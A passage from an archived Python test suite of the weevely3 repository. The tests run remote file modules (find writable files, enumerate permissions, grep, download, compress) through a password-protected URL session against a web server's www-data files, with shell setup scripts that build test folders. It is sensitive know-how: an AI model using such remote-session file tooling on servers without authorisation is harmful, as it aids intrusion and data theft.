# Create and bzip2 binary files for the test binstring = [ b'\\xe0\\xf5\\xfe\\xe2\\xbd\\x0c\\xbc\\x9b\\xa0\\x8f\\xed?\\xa1\\xe1', b'\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00' ] uncompressed = [ os.path.join(config.base_folder, 'test_file_bzip2', 'binfile0'), os.path.join(config.base_folder, 'test_file_bzip2', 'binfile1') ] compressed = [ os.path.join(config.base_folder, 'test_file_bzip2', 'binfile0.bz2'), os.path.join(config.base_folder, 'test_file_bzip2', 'binfile1.bz2') ] def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_bzip2/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/" echo -n '\\xe0\\xf5\\xfe\\xe2\\xbd\\x0c\\xbc\\x9b\\xa0\\x8f\\xed?\\xa1\\xe1' > "$BASE_FOLDER/binfile0" echo -n '\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00' > "$BASE_FOLDER/binfile1" bzip2 "$BASE_FOLDER/binfile0" bzip2 "$BASE_FOLDER/binfile1" chown www-data: -R "$BASE_FOLDER/" """.format( config = config ), shell=True) self.run_argv = modules.loaded['file_bzip2'].run_argv def test_compress_decompress(self): # Decompress and check test file self.assertTrue(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) # Let's re-compress it, and decompress and check again self.assertTrue(self.run_argv([self.uncompressed[0]])) self.assertTrue(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) # Recompress it keeping the original file self.assertTrue(self.run_argv([self.uncompressed[0], '--keep'])) # Check the existance of the original file and remove it subprocess.check_call('stat -c %%a "%s"' % self.uncompressed[0], shell=True) subprocess.check_call('rm "%s"' % self.uncompressed[0], shell=True) #Do the same check self.assertTrue(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) def test_compress_decompress_multiple(self): for index in range(0, len(self.compressed)): # Decompress and check test file self.assertTrue(self.run_argv(["--decompress", self.compressed[index]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[index], shell=True), self.binstring[index] ) # Let's re-compress it, and decompress and check again self.assertTrue(self.run_argv([self.uncompressed[index]])) self.assertTrue(self.run_argv(["--decompress", self.compressed[index]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[index], shell=True), self.binstring[index] ) @log_capture() def test_already_exists(self, log_captured): # Decompress keeping it and check test file self.assertTrue(self.run_argv(["--decompress", self.compressed[0], '--keep'])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) # Do it again and trigger that the file decompressed already exists self.assertIsNone(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual(log_captured.records[-1].msg, "File '%s' already exists, skipping decompressing" % self.uncompressed[0]) # Compress and trigger that the file compressed already exists self.assertIsNone(self.run_argv([self.uncompressed[0]])); self.assertEqual(log_captured.records[-1].msg, "File '%s' already exists, skipping compressing" % self.compressed[0]) @log_capture() def test_wrong_ext(self, log_captured): # Decompress it and check test file self.assertTrue(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) # Decompress the decompressed, wrong ext self.assertIsNone(self.run_argv(["--decompress", self.uncompressed[0]])); self.assertEqual(log_captured.records[-1].msg, "Unknown suffix, skipping decompressing") @log_capture() def test_unexistant(self, log_captured): # Decompress it and check test file self.assertIsNone(self.run_argv(["--decompress", 'bogus'])); self.assertEqual(log_captured.records[-1].msg, "Skipping file '%s', check existance and permission" % 'bogus') epinna-weevely3-445bd88/tests/test_file_cd.py000066400000000000000000000043061444353330400212370ustar00rootroot00000000000000from testfixtures import log_capture from tests.base_test import BaseTest from tests import config from core.sessions import SessionURL from core import modules import utils from core import messages import subprocess import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_cd/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" chmod 0 "$BASE_FOLDER/dir1/dir2/dir3/dir4" """.format( config = config ), shell=True) class FileCd(BaseTest): folders = [ os.path.join(config.base_folder, f) for f in ( 'test_file_cd/dir1', 'test_file_cd/dir1/dir2', 'test_file_cd/dir1/dir2/dir3', 'test_file_cd/dir1/dir2/dir3/dir4', ) ] def setUp(self): self.session = SessionURL( self.url, self.password, volatile = True ) modules.load_modules(self.session) self.run_argv = modules.loaded['file_cd'].run_argv @log_capture() def test_cwd(self, log_captured): # cd [0] new = self.folders[0] self.run_argv([ new ]) self.assertEqual(new, self.session['file_cd']['results']['cwd']) # cd [-1] new = self.folders[-1] self.run_argv([ new ]) self.assertEqual(self.folders[0], self.session['file_cd']['results']['cwd']) self.assertEqual( messages.module_file_cd.failed_directory_change_to_s % new, log_captured.records[-1].msg ) # new [1]/.././[1]/./ new = self.folders[1] self.run_argv([ '%s/.././%s/./' % (new, os.path.split(new)[-1]) ]) self.assertEqual(new, self.session['file_cd']['results']['cwd']) # new bogus new = 'bogus' self.run_argv([ new ]) self.assertEqual(self.folders[1], self.session['file_cd']['results']['cwd']) self.assertEqual( messages.module_file_cd.failed_directory_change_to_s % new, log_captured.records[-1].msg ) # new [2]/.././[2]/../ new = self.folders[2] self.run_argv([ '%s/.././////////%s/../' % (new, os.path.split(new)[-1]) ]) self.assertEqual(self.folders[1], self.session['file_cd']['results']['cwd']) epinna-weevely3-445bd88/tests/test_file_check.py000066400000000000000000000076211444353330400217310ustar00rootroot00000000000000from tests.base_test import BaseTest from testfixtures import log_capture from tests import config from core.sessions import SessionURL from core import modules from core import messages import subprocess import datetime import logging import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_check/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/0333" chmod 0333 "$BASE_FOLDER/dir1/dir2/dir3/0333" echo -n 1 > "$BASE_FOLDER/dir1/0777" chmod 0777 "$BASE_FOLDER/dir1/0777" touch "$BASE_FOLDER/dir1/dir2/writable" touch "$BASE_FOLDER/dir1/dir2/dir3/write-executable" touch "$BASE_FOLDER/dir1/dir2/dir3/0333/0444" chmod 0444 "$BASE_FOLDER/dir1/dir2/dir3/0333/0444" """.format( config = config ), shell=True) class FileCheck(BaseTest): files_rel = [ 'test_file_check/dir1/0777', 'test_file_check/dir1/dir2/writable', 'test_file_check/dir1/dir2/dir3/write-executable', 'test_file_check/dir1/dir2/dir3/0333/0444', ] folders_rel = [ 'test_file_check/dir1/', 'test_file_check/dir1/dir2/', 'test_file_check/dir1/dir2/dir3/', 'test_file_check/dir1/dir2/dir3/0333/', ] def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) self.file_0_time = int(subprocess.check_output( 'stat -c %%Y "%s"' % (os.path.join(config.base_folder, 'test_file_check/dir1/0777')), shell=True) ) self.run_argv = modules.loaded['file_check'].run_argv def test_check(self): # Some check on a file just readable self.assertTrue(self.run_argv([ self.files_rel[3], 'exists'])) self.assertTrue(self.run_argv([ self.files_rel[3], 'readable'])) self.assertTrue(self.run_argv([ self.files_rel[3], 'file'])) self.assertFalse(self.run_argv([ self.files_rel[3], 'executable'])) self.assertFalse(self.run_argv([ self.files_rel[3], 'writable'])) self.assertFalse(self.run_argv([ self.files_rel[3], 'dir'])) # Some check on an unexistant file self.assertFalse(self.run_argv(['BOGUS', 'exists'])) self.assertFalse(self.run_argv(['BOGUS', 'readable'])) self.assertFalse(self.run_argv(['BOGUS', 'file'])) self.assertFalse(self.run_argv(['BOGUS', 'executable'])) self.assertFalse(self.run_argv(['BOGUS', 'writable'])) self.assertFalse(self.run_argv(['BOGUS', 'dir'])) # Some check on a folder with jsut x & w self.assertTrue(self.run_argv([ self.folders_rel[3], 'exists'])) self.assertFalse(self.run_argv([ self.folders_rel[3], 'readable'])) self.assertFalse(self.run_argv([ self.folders_rel[3], 'file'])) self.assertTrue(self.run_argv([ self.folders_rel[3], 'executable'])) self.assertTrue(self.run_argv([ self.folders_rel[3], 'writable'])) self.assertTrue(self.run_argv([ self.folders_rel[3], 'dir'])) # Save the human readable remote file[0] timestamp rdatetime = datetime.datetime.fromtimestamp(float(self.file_0_time)).strftime('%Y-%m-%d') self.assertTrue(self.run_argv([ self.files_rel[0], 'exists'])) self.assertTrue(self.run_argv([ self.files_rel[0], 'readable'])) self.assertTrue(self.run_argv([ self.files_rel[0], 'file'])) self.assertFalse(self.run_argv([ self.files_rel[0], 'dir'])) self.assertTrue(self.run_argv([ self.files_rel[0], 'executable'])) self.assertTrue(self.run_argv([ self.files_rel[0], 'writable'])) self.assertEqual(self.run_argv([ self.files_rel[0], 'size']), '1o') self.assertEqual(self.run_argv([ self.files_rel[0], 'md5']), 'c4ca4238a0b923820dcc509a6f75849b') self.assertAlmostEqual(self.run_argv([ self.files_rel[0], 'time']), self.file_0_time, delta = 20) self.assertEqual(self.run_argv([ self.files_rel[0], 'datetime']).split(' ')[0], rdatetime) epinna-weevely3-445bd88/tests/test_file_download.py000066400000000000000000000105551444353330400224630ustar00rootroot00000000000000from tests.base_test import BaseTest from testfixtures import log_capture from tests import config from core.sessions import SessionURL from core import modules from core import messages import subprocess import tempfile import datetime import logging import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_download/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER" echo -n 'OK' > "$BASE_FOLDER/ok.test" echo -n 'KO' > "$BASE_FOLDER/ko.test" # Set ko.test to ---x--x--x 0111 execute, should be no readable chmod 0111 "$BASE_FOLDER/ko.test" """.format( config = config ), shell=True) class FileDownload(BaseTest): file_ok = os.path.join(config.base_folder, '/test_file_download/ok.test') file_ko = os.path.join(config.base_folder, '/test_file_download/ko.test') def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) self.run_argv = modules.loaded['file_download'].run_argv def test_download_php(self): temp_file = tempfile.NamedTemporaryFile() # Simple download self.assertEqual(self.run_argv(['test_file_download/ok.test', temp_file.name]), b'OK') with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), 'OK') temp_file.truncate() # Downoad binary. Skip check cause I don't know the remote content, and # the md5 check is already done inside file_download. self.assertTrue(self.run_argv(['/bin/ls', temp_file.name])) with open(temp_file.name, 'rb') as temp_file2: self.assertTrue(temp_file2.read()) temp_file.truncate() # Download of an unreadable file self.assertEqual(self.run_argv(['test_file_download/ko.test', temp_file.name]), None) with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), '') # Download of an remote unexistant file self.assertEqual(self.run_argv(['bogus', temp_file.name]), None) with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), '') # Download to a local unexistant folder self.assertEqual(self.run_argv(['test_file_download/ok.test', '/tmp/bogus/bogus']), None) with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), '') # Download to a directory self.assertEqual(self.run_argv(['ok.test', '/tmp/']), None) with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), '') temp_file.close() def test_download_sh(self): temp_file = tempfile.NamedTemporaryFile() # Simple download self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_download/ok.test', temp_file.name]), b'OK') with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), 'OK') temp_file.truncate() # Downoad binary. Skip check cause I don't know the remote content, and # the md5 check is already done inside file_download. self.assertTrue(self.run_argv(['-vector', 'base64', '/bin/ls', temp_file.name])) with open(temp_file.name, 'rb') as temp_file2: self.assertTrue(temp_file2.read()) temp_file.truncate() # Download of an unreadable file self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_download/ko.test', temp_file.name]), None) with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), '') # Download of an remote unexistant file self.assertEqual(self.run_argv(['-vector', 'base64', 'bogus', temp_file.name]), None) with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), '') # Download to a local unexistant folder self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_download/ok.test', '/tmp/bogus/bogus']), None) with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), '') # Download to a directory self.assertEqual(self.run_argv(['-vector', 'base64', 'test_file_download/ok.test', '/tmp/']), None) with open(temp_file.name, 'r') as temp_file2: self.assertEqual(temp_file2.read(), '') temp_file.close() epinna-weevely3-445bd88/tests/test_file_enum.py000066400000000000000000000074101444353330400216140ustar00rootroot00000000000000from testfixtures import log_capture from tests.base_test import BaseTest from core.sessions import SessionURL from core import modules from tests import config import utils from core import messages import subprocess import tempfile import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_enum/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" touch "$BASE_FOLDER/dir1/0111-exec" chmod 0111 "$BASE_FOLDER/dir1/0111-exec" touch "$BASE_FOLDER/dir1/dir2/0222-write" chmod 0222 "$BASE_FOLDER/dir1/dir2/0222-write" touch "$BASE_FOLDER/dir1/dir2/dir3/0000" chmod 0000 "$BASE_FOLDER/dir1/dir2/dir3/0000" """.format( config = config ), shell=True) class FileEnum(BaseTest): files_rel = [ 'test_file_enum/dir1/0111-exec', 'test_file_enum/dir1/dir2/0222-write', 'test_file_enum/dir1/dir2/dir3/0000', ] def setUp(self): self.session = SessionURL( self.url, self.password, volatile = True ) modules.load_modules(self.session) self.run_argv = modules.loaded['file_enum'].run_argv def test_file_enum(self): # Enum self.files_rel[:2] passed with arguments self.assertEqual(self.run_argv( self.files_rel[:3] ), { self.files_rel[0] : 'ex', self.files_rel[1] : 'ew', self.files_rel[2] : 'e' }) # Enum self.files_rel[:2] + bogus passed with arguments self.assertEqual(self.run_argv( self.files_rel[:3] + [ 'bogus' ] ), { self.files_rel[0] : 'ex', self.files_rel[1] : 'ew', self.files_rel[2] : 'e' }) # Enum self.files_rel[:2] + bogus passed with arguments and -print self.assertEqual(self.run_argv( self.files_rel[:3] + [ 'bogus', '-print' ] ), { self.files_rel[0] : 'ex', self.files_rel[1] : 'ew', self.files_rel[2] : 'e', 'bogus' : '' }) def test_file_enum_lpath(self): # Enum self.files_rel[:2] passed with lfile temp_file = tempfile.NamedTemporaryFile() temp_file.write('\n'.join(self.files_rel[:3]).encode('utf-8')) temp_file.flush() self.assertEqual(self.run_argv( [ '-lpath-list', temp_file.name ] ), { self.files_rel[0] : 'ex', self.files_rel[1] : 'ew', self.files_rel[2] : 'e' }) temp_file.close() # Enum self.files_rel[:2] + bogus passed with lfile temp_file = tempfile.NamedTemporaryFile() temp_file.write('\n'.join(self.files_rel[:3] + [ 'bogus' ]).encode('utf-8')) temp_file.flush() self.assertEqual(self.run_argv( [ '-lpath-list', temp_file.name ] ), { self.files_rel[0] : 'ex' , self.files_rel[1] : 'ew' , self.files_rel[2] : 'e' }) temp_file.close() # Enum self.files_rel[:2] + bogus passed with lfile and -print temp_file = tempfile.NamedTemporaryFile() temp_file.write('\n'.join(self.files_rel[:3] + [ 'bogus' ]).encode('utf-8')) temp_file.flush() self.assertEqual(self.run_argv( [ '-lpath-list', temp_file.name, '-print' ] ), { self.files_rel[0] : 'ex' , self.files_rel[1] : 'ew' , self.files_rel[2] : 'e' , 'bogus' : '' }) temp_file.close() @log_capture() def test_err(self, log_captured): self.assertIsNone(self.run_argv( [ '-lpath-list', 'bogus' ] )) self.assertEqual(messages.generic.error_loading_file_s_s[:19], log_captured.records[-1].msg[:19]) epinna-weevely3-445bd88/tests/test_file_find.py000066400000000000000000000122551444353330400215730ustar00rootroot00000000000000from testfixtures import log_capture from tests.base_test import BaseTest from tests import config from core.sessions import SessionURL from core import modules import utils from core import messages import subprocess import os def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_find/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/dir1/0777/dir3/dir4" chmod 0777 "$BASE_FOLDER/dir1/0777/" touch "$BASE_FOLDER/dir1/0111-exec" chmod 0111 "$BASE_FOLDER/dir1/0111-exec" touch "$BASE_FOLDER/dir1/0777/0222-write" chmod 0222 "$BASE_FOLDER/dir1/0777/0222-write" touch "$BASE_FOLDER/dir1/0777/dir3/0333-write-exec" chmod 0333 "$BASE_FOLDER/dir1/0777/dir3/0333-write-exec" touch "$BASE_FOLDER/dir1/0777/dir3/dir4/0444-read" chmod 0444 "$BASE_FOLDER/dir1/0777/dir3/dir4/0444-read" """.format( config = config ), shell=True) class FindPerms(BaseTest): folders_rel = [ 'test_file_find/dir1', 'test_file_find/dir1/0777', 'test_file_find/dir1/0777/dir3', 'test_file_find/dir1/0777/dir3/dir4', ] files_rel = [ 'test_file_find/dir1/0111-exec', 'test_file_find/dir1/0777/0222-write', 'test_file_find/dir1/0777/dir3/0333-write-exec', 'test_file_find/dir1/0777/dir3/dir4/0444-read', ] def setUp(self): self.session = SessionURL( self.url, self.password, volatile = True ) modules.load_modules(self.session) self.run_argv = modules.loaded['file_find'].run_argv def test_file_find_php(self): # find first writable starting from folder[0] self.assertEqual(self.run_argv([ '-writable', '-quit', self.folders_rel[0] ]), [ self.folders_rel[1] ]) # find first writable file from folder[0] self.assertEqual(self.run_argv([ '-writable', '-quit', self.folders_rel[0], '-ftype', 'f' ]), [ self.files_rel[1] ]) # find all executable starting from folder[0] self.assertEqual(sorted(self.run_argv([ '-executable', self.folders_rel[0] ])), sorted(self.folders_rel + [ self.files_rel[2], self.files_rel[0] ] )) # find all executable starting from folder[0] that matches the regexp 'te-ex' -> folder[2] self.assertEqual(self.run_argv([ '-executable', self.folders_rel[0], 'te-ex' ]), [ self.files_rel[2] ]) # find all starting from folder[0] that matches the regexp 'TE-EX' -> folder[2] self.assertEqual(self.run_argv([ self.folders_rel[0], 'TE-EX' ]), [ self.files_rel[2] ]) # find all starting from folder[0] that matches the regexp 'TE-EX' and case sensitive -> [] self.assertEqual(self.run_argv([ '-case', self.folders_rel[0], 'TE-EX' ]), [ '' ]) # find all readable starting from folder[0] self.assertEqual(sorted(self.run_argv([ '-readable', self.folders_rel[0] ])), sorted(self.folders_rel + [ self.files_rel[3] ] )) # find all readable starting from folder[0] with a wrong regex -> none self.assertEqual(self.run_argv([ '-readable', self.folders_rel[0], 'bogus' ]), [ '' ] ) # find readable starting from folder[0] with no recursion self.assertEqual(sorted(self.run_argv([ '-readable', '-no-recursion', self.folders_rel[0] ])), sorted(self.folders_rel[:2] )) # test bogus path self.assertEqual(self.run_argv([ '-readable', 'bogus' ]), [''] ) def test_file_find_sh(self): # find first writable starting from folder[0] self.assertEqual(self.run_argv([ '-writable', '-vector', 'sh_find', '-quit', self.folders_rel[0] ]), [ self.folders_rel[1] ]) # find all executable starting from folder[0] self.assertEqual(sorted(self.run_argv([ '-executable', '-vector', 'sh_find', self.folders_rel[0] ])), sorted(self.folders_rel + [ self.files_rel[2], self.files_rel[0] ] )) # find all executable starting from folder[0] that matches the regexp '-' -> folder[2] self.assertEqual(self.run_argv([ '-executable', '-vector', 'sh_find', self.folders_rel[0], 'te-ex' ]), [ self.files_rel[2] ]) # find all starting from folder[0] that matches the regexp 'TE-EX' -> folder[2] self.assertEqual(self.run_argv([ '-vector', 'sh_find', self.folders_rel[0], 'TE-EX' ]), [ self.files_rel[2] ]) # find all starting from folder[0] that matches the regexp 'TE-EX' and case sensitive -> [] self.assertEqual(self.run_argv([ '-case', '-vector', 'sh_find', self.folders_rel[0], 'TE-EX' ]), [ '' ]) # find all readable starting from folder[0] self.assertEqual(sorted(self.run_argv([ '-readable', '-vector', 'sh_find', self.folders_rel[0] ])), sorted(self.folders_rel + [ self.files_rel[3] ] )) # find all readable starting from folder[0] with a wrong regex -> none self.assertEqual(self.run_argv([ '-readable', self.folders_rel[0], 'bogus' ]), [ '' ] ) # find readable starting from folder[0] with no recursion self.assertEqual(sorted(self.run_argv([ '-readable', '-vector', 'sh_find', '-no-recursion', self.folders_rel[0] ])), sorted(self.folders_rel[:2] )) # test bogus path self.assertEqual(self.run_argv([ '-readable', '-vector', 'sh_find', 'bogus' ]), [ '' ] ) epinna-weevely3-445bd88/tests/test_file_grep.py000066400000000000000000000152511444353330400216070ustar00rootroot00000000000000from testfixtures import log_capture from tests.base_test import BaseTest from tests import config from core.sessions import SessionURL from core import modules import utils from core import messages import subprocess import os import tempfile import random def setUpModule(): subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_grep/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/dir1/dir2/dir3/dir4" echo string1 > "$BASE_FOLDER/dir1/string1" echo string12 > "$BASE_FOLDER/dir1/dir2/string12" echo 'string3\nSTR33' > "$BASE_FOLDER/dir1/dir2/dir3/string3" echo string4 > "$BASE_FOLDER/dir1/dir2/dir3/dir4/string4" chmod 0111 "$BASE_FOLDER/dir1/dir2/dir3/dir4/string4" chown www-data: -R "$BASE_FOLDER/" """.format( config = config ), shell=True) class FileGrep(BaseTest): folders_rel = [ 'test_file_grep/dir1', 'test_file_grep/dir1/dir2', 'test_file_grep/dir1/dir2/dir3', 'test_file_grep/dir1/dir2/dir3/dir4', ] files_rel = [ 'test_file_grep/dir1/string1', 'test_file_grep/dir1/dir2/string12', 'test_file_grep/dir1/dir2/dir3/string3', 'test_file_grep/dir1/dir2/dir3/dir4/string4', ] def setUp(self): self.session = SessionURL( self.url, self.password, volatile = True ) modules.load_modules(self.session) self.vector_list = modules.loaded['file_grep'].vectors.get_names() self.run_argv = modules.loaded['file_grep'].run_argv def test_file_grep(self): for vect in self.vector_list: # grep string1 -> string[0] self.assertEqual( self.run_argv([ '-vector', vect, self.folders_rel[0], 'tring1' ])[0], { self.files_rel[0] : ['string1'], self.files_rel[1] : ['string12'] } ) # grep string3 -> [] self.assertEqual(self.run_argv([ '-vector', vect, self.folders_rel[0], 'tring4' ])[0], {}) # grep string[2-9] -> string[3] self.assertEqual(self.run_argv([ '-vector', vect, self.folders_rel[0], 'tring[2-9]' ])[0], { self.files_rel[2] : ['string3'] }) # grep rpath=folder2 string -> string[3] self.assertEqual(self.run_argv([ '-vector', vect, self.folders_rel[2], 'string.*' ])[0], { self.files_rel[2] : ['string3'] }) def test_file_grep_invert(self): for vect in self.vector_list: # grep -v string1 -> string3 self.assertEqual( self.run_argv([ '-vector', vect, self.folders_rel[0], 'tring1', '-v' ])[0], { self.files_rel[2]: ['string3', 'STR33'], # self.files_rel[3] : ['string4'] # String 4 is 0111 } ) # grep -v bogus -> string1,2,3 self.assertEqual( self.run_argv([ '-vector', vect, self.folders_rel[0], 'bogus', '-v' ])[0], { self.files_rel[0] : ['string1'], self.files_rel[1] : ['string12'], self.files_rel[2] : ['string3', 'STR33'] } ) # grep -v -i STR from string[2] -> string3 self.assertEqual(self.run_argv([ '-vector', vect, self.files_rel[2], '-v', '-case', 'STR' ])[0], { self.files_rel[2] : ['string3'] }) def test_file_grep_output_remote(self): for vect in self.vector_list: output_path = os.path.join(config.base_folder, 'test_file_grep', 'test_%s_%i' % (vect, random.randint(1, 99999))) # grep string3 -> [] self.assertTrue(self.run_argv([ '-vector', vect, self.folders_rel[0], 'tring4', '-output', output_path ])[1]) self.assertEqual(subprocess.check_output( 'cat "%s"' % (output_path), shell=True ), b'' ) subprocess.check_output( 'rm -f %s' % (output_path), shell=True) # grep rpath=folder2 string -> string[3] self.assertEqual(self.run_argv([ '-vector', vect, self.folders_rel[2], 'string.*', '-output', output_path ])[0], { self.files_rel[2] : ['string3'] }) self.assertEqual(subprocess.check_output( 'cat "%s"' % (output_path), shell=True), b'string3' ) subprocess.check_output( 'rm -f %s' % (output_path), shell=True) def test_file_grep_output_local(self): for vect in self.vector_list: temp_file = tempfile.NamedTemporaryFile() # grep string3 -> [] self.assertTrue(self.run_argv([ '-vector', vect, self.folders_rel[0], 'tring4', '-output', temp_file.name, '-local' ])[1]) with open(temp_file.name, 'r') as temp_file2: self.assertEqual('', temp_file2.read()) temp_file.truncate() # grep rpath=folder2 string -> string[3] self.assertEqual(self.run_argv([ '-vector', vect, self.folders_rel[2], 'string.*', '-output', temp_file.name, '-local' ])[0], { self.files_rel[2] : ['string3'] }) with open(temp_file.name, 'r') as temp_file2: self.assertEqual('string3', temp_file2.read()) temp_file.close() @log_capture() def test_php_err(self, log_captured): # wrong rpath generate None and warning print self.assertEqual(self.run_argv([ 'bogus', 'tring4' ])[0], None) self.assertEqual(messages.module_file_grep.failed_retrieve_info, log_captured.records[-1].msg) # wrong regex generate None and warning print self.assertEqual(self.run_argv([ '\'', 'tring4' ])[0], None) self.assertEqual(messages.module_file_grep.failed_retrieve_info, log_captured.records[-1].msg) @log_capture() def test_sh_err(self, log_captured): # wrong rpath generate None and warning print self.assertEqual(self.run_argv([ '-vector', 'grep_sh', 'bogus', 'tring4' ])[0], None) self.assertEqual(messages.module_file_grep.failed_retrieve_info, log_captured.records[-1].msg) # wrong regex generate None and warning print self.assertEqual(self.run_argv([ '-vector', 'grep_sh', '\'', 'tring4' ])[0], None) self.assertEqual(messages.module_file_grep.failed_retrieve_info, log_captured.records[-1].msg) epinna-weevely3-445bd88/tests/test_file_gzip.py000066400000000000000000000126471444353330400216310ustar00rootroot00000000000000from tests.base_test import BaseTest from tests import config from core import modules from core.sessions import SessionURL from testfixtures import log_capture from core import messages import logging import os import subprocess class FileGzip(BaseTest): # Create and gzip binary files for the test binstring = [ b'\\xe0\\xf5\\xfe\\xe2\\xbd\\x0c\\xbc\\x9b\\xa0\\x8f\\xed?\\xa1\\xe1', b'\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00' ] uncompressed = [ os.path.join(config.base_folder, 'test_file_gzip', 'binfile0'), os.path.join(config.base_folder, 'test_file_gzip', 'binfile1') ] compressed = [ os.path.join(config.base_folder, 'test_file_gzip', 'binfile0.gz'), os.path.join(config.base_folder, 'test_file_gzip', 'binfile1.gz') ] def setUp(self): session = SessionURL(self.url, self.password, volatile = True) modules.load_modules(session) subprocess.check_output(""" BASE_FOLDER="{config.base_folder}/test_file_gzip/" rm -rf "$BASE_FOLDER" mkdir -p "$BASE_FOLDER/" echo -n '\\xe0\\xf5\\xfe\\xe2\\xbd\\x0c\\xbc\\x9b\\xa0\\x8f\\xed?\\xa1\\xe1' > "$BASE_FOLDER/binfile0" echo -n '\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00' > "$BASE_FOLDER/binfile1" gzip "$BASE_FOLDER/binfile0" gzip "$BASE_FOLDER/binfile1" chown www-data: -R "$BASE_FOLDER/" """.format( config = config ), shell=True) self.run_argv = modules.loaded['file_gzip'].run_argv def test_compress_decompress(self): # Decompress and check test file self.assertTrue(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) # Let's re-compress it, and decompress and check again self.assertTrue(self.run_argv([self.uncompressed[0]])) self.assertTrue(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) # Recompress it keeping the original file self.assertTrue(self.run_argv([self.uncompressed[0], '--keep'])) # Check the existance of the original file and remove it subprocess.check_call('stat -c %%a "%s"' % self.uncompressed[0], shell=True) subprocess.check_call('rm "%s"' % self.uncompressed[0], shell=True) #Do the same check self.assertTrue(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) def test_compress_decompress_multiple(self): for index in range(0, len(self.compressed)): # Decompress and check test file self.assertTrue(self.run_argv(["--decompress", self.compressed[index]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[index], shell=True), self.binstring[index] ) # Let's re-compress it, and decompress and check again self.assertTrue(self.run_argv([self.uncompressed[index]])) self.assertTrue(self.run_argv(["--decompress", self.compressed[index]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[index], shell=True), self.binstring[index] ) @log_capture() def test_already_exists(self, log_captured): # Decompress keeping it and check test file self.assertTrue(self.run_argv(["--decompress", self.compressed[0], '--keep'])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) # Do it again and trigger that the file decompressed already exists self.assertIsNone(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual(log_captured.records[-1].msg, "File '%s' already exists, skipping decompressing" % self.uncompressed[0]) # Compress and trigger that the file compressed already exists self.assertIsNone(self.run_argv([self.uncompressed[0]])); self.assertEqual(log_captured.records[-1].msg, "File '%s' already exists, skipping compressing" % self.compressed[0]) @log_capture() def test_wrong_ext(self, log_captured): # Decompress it and check test file self.assertTrue(self.run_argv(["--decompress", self.compressed[0]])); self.assertEqual( subprocess.check_output('cat "%s"' % self.uncompressed[0], shell=True), self.binstring[0] ) # Decompress the decompressed, wrong ext self.assertIsNone(self.run_argv(["--decompress", self.uncompressed[0]])); self.assertEqual(log_captured.records[-1].msg, "Unknown suffix, skipping decompressing") @log_capture() def test_unexistant(self, log_captured): # Decompress it and check test file self.assertIsNone(self.run_argv(["--decompress", 'bogus'])); self.assertEqual(log_captured.records[-1].msg, "Skipping file '%s', check existance and permission" % 'bogus') epinna-weevely3-445bd88/tests/test_file_ls.py000066400000000000000000000033161444353330400212670ustar00rootroot00000000000000from testfixtures import 